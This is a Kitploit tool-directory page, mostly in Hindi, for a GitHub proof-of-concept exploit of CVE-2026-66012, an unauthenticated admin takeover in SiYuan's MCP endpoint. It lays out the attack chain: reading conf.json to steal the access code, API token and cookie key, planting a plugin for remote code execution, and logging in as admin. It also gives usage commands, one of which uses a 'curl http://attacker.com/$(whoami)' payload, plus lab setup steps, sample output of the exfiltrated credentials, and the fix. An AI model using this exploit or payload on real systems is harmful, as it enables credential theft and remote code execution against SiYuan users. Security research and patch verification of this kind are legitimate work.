Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
siyuan-mcp-admin-takeover-cve-2026-66012-missing-authorization — CVE-2026-66012 के लिए बिना प्रमाणीकरण के व्यवस्थापक अधिग्रहण शोषण, जो क्रेडेंशियल्स को बाहर निकालने और रिमोट कोड निष्पादन प्राप्त करने के लिए MCP में अनुपस्थित प्राधिकरण का उपयोग करता है। | Kitploit
उपकरण/GitHubGitHub/hunt-benito/siyuan-mcp-admin-takeover-cve-2026-66012-missing-authorization
प्रमाणीकरण और प्राधिकरणविशेषाधिकार वृद्धिभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगरेड टीमिंगपेलोड डेवलपमेंट

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
GitHub
hunt-benito/siyuan-mcp-admin-takeover-cve-2026-66012-missing-authorization

siyuan-mcp-admin-takeover-cve-2026-66012-missing-authorization

CVE-2026-66012 के लिए बिना प्रमाणीकरण के व्यवस्थापक अधिग्रहण शोषण, जो क्रेडेंशियल्स को बाहर निकालने और रिमोट कोड निष्पादन प्राप्त करने के लिए MCP में अनुपस्थित प्राधिकरण का उपयोग करता है।

रिपॉजिटरी देखें
125 दिन पहलेअभी तक समीक्षित नहीं

CVE-2026-66012 — SiYuan MCP बिना प्रमाणीकरण के व्यवस्थापक अधिग्रहण

CVE-2026-66012 (CVSS 10.0 क्रिटिकल) के लिए प्रूफ-ऑफ-कॉन्सेप्ट, जो SiYuan के MCP (मॉडल कॉन्टेक्स्ट प्रोटोकॉल) एंडपॉइंट में एक अनुपलब्ध-प्राधिकरण भेद्यता है। यह एक बिना प्रमाणीकरण वाले हमलावर को व्यवस्थापक अधिग्रहण और रिमोट कोड निष्पादन की अनुमति देता है जब Publish सर्वर अनाम मोड में सक्षम होता है।

भेद्यता सारांश

फ़ील्डमान
CVECVE-2026-66012
CVSS 3.110.0 क्रिटिकल
CWECWE-862 — अनुपलब्ध प्राधिकरण
प्रभावितSiYuan < v3.7.2
समाधानv3.7.2 (commit df51c2bda696)
रिपोर्टकर्ताNguyen Van Hiep (@hypnguyen1209), MBBank

मूल कारण

तीन दोष मिलकर हमले की श्रृंखला बनाते हैं:

  1. POST /mcp केवल model.CheckAuth के साथ पंजीकृत है — कोई CheckAdminRole या CheckReadonly नहीं। कोई भी मान्य JWT (Reader-स्कोप सहित) सभी 31 MCP टूल्स को आमंत्रित कर सकता है।
  2. टूल डिस्पैचर (handler.go) कॉलर की भूमिका की जाँच किए बिना टूल्स को कॉल करता है।
  3. Publish रिवर्स प्रॉक्सी प्रत्येक अनुरोध में एक अनाम RoleReader JWT इंजेक्ट करता है जब Publish.Auth.Enable=false, जिससे अनुपलब्ध-प्राधिकरण बग बिना प्रमाणीकरण वाले बग में बदल जाता है।

हमले की श्रृंखला

  1. MCP हैंडशेक Publish पोर्ट पर POST /mcp के माध्यम से (कोई क्रेडेंशियल नहीं)
  2. conf/conf.json पढ़ना → accessAuthCode, api.token, cookieKey निकालना
  3. data/plugins/pwn/ पर प्लगइन स्थापित करना → अगले डेस्कटॉप लॉन्च पर nodeIntegration:true के माध्यम से RCE
  4. चुराए गए accessAuthCode का उपयोग करके पोर्ट 6806 पर व्यवस्थापक लॉगिन

पूर्वापेक्षाएँ

  • Python 3.8+
  • requests लाइब्रेरी (pip install requests)
  • Docker 20.10+ (केवल लैब सेटअप के लिए)

उपयोग

root@kitploit:~
# Full exploit (credential exfil + plugin plant + admin escalation)
python3 exploit.py http://TARGET:6808

# Custom payload for the planted plugin
python3 exploit.py http://TARGET:6808 "curl http://attacker.com/$(whoami)"

# Credential exfiltration only (no plugin planting)
python3 exploit.py http://TARGET:6808 --no-plugin

लैब सेटअप

केवल अधिकृत परीक्षण के लिए। स्थानीय रूप से एक भेद्य इंस्टेंस सेट करें:

root@kitploit:~
# Create workspace
LAB_ROOT=/tmp/siyuan-lab
rm -rf "$LAB_ROOT" && mkdir -p "$LAB_ROOT/workspace"
chmod 777 "$LAB_ROOT" "$LAB_ROOT/workspace"

# Start vulnerable SiYuan v3.7.1
docker run -d --name siyuan-lab \
  -p 127.0.0.1:6806:6806 -p 127.0.0.1:6808:6808 \
  -v "$LAB_ROOT/workspace":/siyuan/workspace \
  -e "SIYUAN_ACCESS_AUTH_CODE=labpass-9f4c1a" \
  -e "PUID=1000" -e "PGID=1000" \
  b3log/siyuan:v3.7.1 \
  serve --accessAuthCode=labpass-9f4c1a --lang=en_US

sleep 6

# Enable Publish server in anonymous mode
API_TOKEN=$(docker exec siyuan-lab sh -c \
  'sed -n "s/.*\"token\": *\"\([^\"]*\)\".*/\1/p" /siyuan/workspace/conf/conf.json | head -1')

curl -sS -X POST http://127.0.0.1:6806/api/setting/setPublish \
  -H "Authorization: Token $API_TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"enable":true,"port":6808,"auth":{"enable":false,"accounts":[]}}'

# Run the exploit
python3 exploit.py http://127.0.0.1:6808 "id"

अपेक्षित आउटपुट

root@kitploit:~
=================================================================
CVE-2026-66012 — SiYuan MCP Admin Takeover
Target: http://127.0.0.1:6808
=================================================================

[*] Starting MCP handshake...
[+] Session established: 1atnx3vlzoccx89n

[*] Reading conf/conf.json via MCP file tool...
[+] Exfiltrated credentials:
    accessAuthCode: labpass-9f4c1a
    cookieKey: zhia862a5vfvraau
    api_token: nsnt2m0n4lwv2a43

[*] Planting plugin with payload: id
[+] Plugin planted at data/plugins/pwn/
    Payload executes on next desktop launch

[*] Attempting admin login at http://127.0.0.1:6806...
[+] Administrator session established
    Token: lqfhx...

=================================================================
Exploit complete.
Plugin will execute 'id' on next desktop launch.
For authorized testing only.
=================================================================

समाधान

SiYuan v3.7.2 या बाद के संस्करण में अपग्रेड करें। फिक्स (commit df51c2bda696) निम्नलिखित लागू करता है:

  1. /mcp रूट पर CheckAdminRole + CheckReadonly मिडलवेयर
  2. फ़ाइल टूल में conf/conf.json एक्सेस पर स्पष्ट अवरोध
  3. Publish प्रॉक्सी पथ अनुमति-सूचीकरण (व्यवस्थापक पथ अनाम उपयोगकर्ताओं के लिए 401 लौटाते हैं)

संदर्भ

  • GHSA-cvhv-7xhj-xjp8
  • NVD CVE-2026-66012
  • फिक्स कमिट df51c2bd
  • VulnCheck एडवाइजरी

अस्वीकरण

यह PoC केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए है। उन प्रणालियों के विरुद्ध अनधिकृत उपयोग जिनके आप स्वामी नहीं हैं या जिनके परीक्षण की स्पष्ट अनुमति नहीं है, अवैध है। लेखक इस कोड के किसी भी दुरुपयोग के लिए ज़िम्मेदार नहीं हैं।

टूल डाउनलोड करें